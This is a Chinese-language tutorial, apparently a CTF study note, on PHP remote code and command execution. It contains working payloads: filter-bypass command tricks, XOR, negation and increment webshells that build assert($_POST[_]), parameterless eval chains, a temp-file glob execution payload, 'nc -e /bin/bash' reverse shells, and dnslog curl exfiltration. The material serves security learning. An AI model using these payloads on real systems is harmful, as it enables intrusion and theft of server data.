少女祈祷中...

命令执行漏洞(RCE)

相关函数

php 常见的调用外部程序的函数

系统命令执行

  1. system(args)–有回显
  2. shell_exec(args)–无回显必须输出
  3. passthru()
  4. popen(handle,mode)–无回显
  5. exec(args)–回显最后一行,必须加echo输出
  6. proc_open()
  7. `(反单引号)

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出,使用反引号运算符“`”的效果与函数 shell_exec() 相同。

php代码执行

  1. assert()a
  2. preg_replace ( $pattern ,$replacement , $subject [, $limit = -1 [, &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。当使用被弃用的 e 修饰符时, 这个函数会转义一些字符,在完成替换后,引擎会将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串

  1. eval()
  2. call_user_func ( $callback [, $parameter [, $… ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

  1. call_user_func_array($callback,$param_arr)

把第一个参数作为回调函数callback****)调用,把参数数组作(param_arr)为回调函数的的参数传入string

  1. create_function ( $args , $code )

该函数的内部实现用到了eval。第一个参数args是后面定义函数的参数,第二个参数是函数的代码。

  1. array_map ( callable $callback , $array1 [, $… ] )

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

示例

<?php
$a = $_GET['chybeta'];
$b = create_function('$a',"echo $a");
$b('');
?>
http://localhost:2500/codeexec.php?chybeta=phpinfo();
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['chybeta'],$array);
?>
http://localhost:2500/codeexec.php?chybeta=phpinfo

利用

(1)管道操作

将一端的命令输出交给另一端的命令处理。格式: 命令1 | 命令2

如:ps aux | grep httpd

(2)重定向

改变执行命令时的默认输入输出

类型操作符用途

重定向输入 < 从指定文件读取数据而不是从键盘读取

重定向输出 > 或>> 将输出结果覆盖、追加到指定文件(>覆盖、>>追加)

重定向标准错误输出 2>或 2>> 将错误信息覆盖或追加到指定文件

重定向混合输出 &> 或 &>> 将标准输出和错误信息覆盖或追加到指定文件

(3)逻辑分割

处理多条命令之间的逻辑关系

逻辑与 && 两条命令都要执行

逻辑或 || 若第一条命令执行成功,则不执行第二条命令(即只要有一条命令成功就不再继续执行命令)

顺序执行 ; 执行完第一条命令后执行第二条命令

作用

  1. 读取敏感文件 /etc/passwd
  2. NC反弹shell

nc -e /bin/bash 127.0.0.1 3737

Bash

Bash 是GNU操作系统的 shell 或命令语言解释器

WAF****绕过

常见的替换

空格

> < <>

shell下特殊符号

$(base64编码内容|d -base64)

通配符

在bash的操作环境中有一个非常有用的功能,那就是通配符,下面列出一些常用的通配符:

*    代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的!
[^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。

连接符

引号连接,注意要闭合好

单引号

/‘b’i’n’/‘c’a’t’ /‘e’t’c’/‘p’a’s’s’w’d

双引号

/“b”i”n”/“w”h”i”c”h” “n”c

反斜杆

/b\i\n/w\h\i\c\h n\c

正则表达式绕过

空格绕过

  • < 符号 cat<123
  • \t / %09
  • ${IFS} 其中{}用来截断,比如cat$IFS2会被认为IFS2是变量名。另外,在后面加个$可以起到截断的作用,一般用$9,因为$9是当前系统shell进程的第九个参数的持有者,它始终为空字符串

黑名单绕过

  • a=l;b=s;$a$b
  • base64 echo "bHM=" | base64 -d
  • /?in/?s => /bin/ls
  • 连接符 cat /etc/pass'w'd
  • 未定义的初始化变量 cat$x /etc/passwd

无字母(数字)RCE

推荐p神的文章–https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说assert,然后就可以动态执行了。所以说这里的核心就是要将非字母的字符变换成字母字符。

1.异或 ^

指的是php按位异或,在php中,两个字符进行异或操作后,得到的依然是一个字符,当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一

因为很多都是不可见的字符,所以说我就先url编码了一下

a:'%40'^'%21' ; s:'%7B'^'%08' ; s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
P:'%0D'^'%5D' ; O:'%0F'^'%40' ; S:'%0E'^'%5D' ; T:'%0B'^'%5F'
拼接起来:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); //$_=assert
$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F'); //$__=_POST$___=$$__; $___=$_POST$_($___[_]);//assert($_POST[_]);放到一排就是:
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]);

2.取反 ~

一个字符取反之后都会变成另一个字符,不像异或需要两个字符才能构造出一个字符。

有参数函数要分开运算

system('ls /');
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

3.自增

只要我们获得了小写字母a,就可以通过自增获得所有小写字母,当我们获得大写字母A,就可以获得所有大写字母了

数组(Array)中就正好有大写字母A和小写字母a,而在PHP中,如果强制连接数组和字符串的话,数组就会被强制转换成字符串,它的值就为Array,那取它的第一个子母,就拿到A了,那有了aA,相当于我们就可以拿到a-zA-Z中的所有字母了

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

在php7中,我们可以使用($a)()这种方法来执行命令,如(call_user_func)(system,whoami,’’)

php7特性

<?php
'var_dump'('1111');
("VAR_DUMP")("llll");
echo $_GET[ss];
echo $_GET['1'] . '<br/>';
echo $_GET[1];
$a = '_GET';
echo $$a[1];
echo `pwd`;

img

4.临时文件

利用通配符

. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,

这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间:

当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。

最后,我传入的code为?><?=. /???/????????[@-[];?>,发送数据包如下:

img

成功执行任意命令。

无参数RCE

无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果,这在ctf中也算是一个比较常见的考点,接下来就来详细总结总结它的利用姿势

核心代码

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { 
eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个(),那么这个字符串就会被替换为空,如果替换后只剩下;,那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的,所以说像a(b(c()));第一次匹配后就还剩下a(b());,第二次匹配后就还剩a();,第三次匹配后就还剩;了,所以说这一串a(b(c()));就会被eval执行,但相反,像a(b('111'));这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况,我们就只能使用没有参数的php函数,下面就来具体介绍一下:

1.getallheaders()

这个函数的作用是获取http所有的头部信息,也就是headers,然后我们可以用var_dump把它打印出来,但这个有个限制条件就是必须在apache的环境下可以使用,其它环境都是用不了的,我们到burp中去做演示,测试代码如下:

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');
?>

img

image.png

可以看到,所有的头部信息都已经作为了一个数组打印了出来,在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?所以我们需要选择一条出来然后就执行它,这里就需要用到php中操纵数组的函数了,这里常见的是利用end()函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出而不会取出键,所以说键名随便取就行:

img

image.png

那我们把最前面的var_dump改成eval,不就可以执行phpinfo了吗,换言之,就可以实现任意php代码的代码执行了,那在没有过滤的情况下执行命令也就轻而易举了,具体效果如下图所示:

img

image.png

img

image.png

2.get_defined_vars()

上面说到了,getallheaders()是有局限性的,因为如果中间件不是apache的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars(),这种方法其实和上面那种方法原理是差不多的:

img

image.png

可以看到,它并不是获取的headers,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE,而它的返回值是一个二维数组,我们利用GET方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:

img

image.png

这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用end()函数以字符串的形式取出最后的值,然后直接eval执行就行了,这里和上面就是一样的了:

img

image.png

img

image.png

img

image.png

总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()函数将二维数组转换为一维数组,如果大家还是不了解current()函数的用法,可以接着往下看文章,会具体介绍的哦

这里还有一个专门针对$_FILES下手的方法,可以参考这篇文章:https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/

3.session_id()

这种方法和前面的也差不太多,这种方法简单来说就是把恶意代码写到COOKIEPHPSESSID中,然后利用session_id()这个函数去读取它,返回一个字符串,然后我们就可以用eval去直接执行了,这里有一点要注意的就是session_id()要开启session才能用,所以说要先session_start(),这里我们先试着把PHPSESSID的值取出来:

img

image.png

直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID中只能有A-Z a-z 0-9-,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin

img

image.png

img

image.png

那我们就可以开始构造了,首先把PHPSESSID的值替换成这个,然后在前面把var_dump换成eval就可以成功执行了,如图:

img

image.png

成功出现phpinfo,稳稳当当,这种方法我认为是最好的一种方法,很容易理解,只是记得要将恶意代码先16进制编码一下哦

4.php函数直接读取文件

上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:

1.localeconv

官方解释:localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

img

image.png

这个函数其实之前我一直搞不懂它是干什么的,为什么在这里有用,但实践出真知,我们在测试代码中将localeconv()的返回结果输出出来,这里很神奇的事就发生了,它返回的是一个二维数组,而它的第一位居然是一个点.,那按照我们上面讲的,是可以利用current()函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!那就很好理解了,我们可以利用这个点完成遍历目录的操作!相当于就是linux中的ls,具体请看下图:

img

image.png

img

image.png

img

image.png

2.scandir

这个函数很好理解,就是列出目录中的文件和目录

img

image.png

3.current(pos)

这里首先声明,pos()函数是current()函数的别名,他们俩是完全一样的哈

这个函数我们前面已经用的很多了,它的作用就是输出数组中当前元素的值,只输出值而忽略掉键,默认是数组中的第一个值,如果要移动可以用下列方法进行移动:

img

image.png

4.chdir()

这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir切就好了,如果要向上跳就要构造chdir('..')

img

5.array_reverse()

将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()

6.highlight_file()

打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的

无回显RCE

反弹shell

条件:具有nc

命令

nc -e /bin/bash ip port

然后再在服务器上开启端口接听

dnslog

发起一个dns请求需要通过linux中的ping命令或者curl命令

然后这里一个dnslog的利用平台:ceye http://ceye.io/

作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令

文件下载

特定情况下压缩flag文件,并访问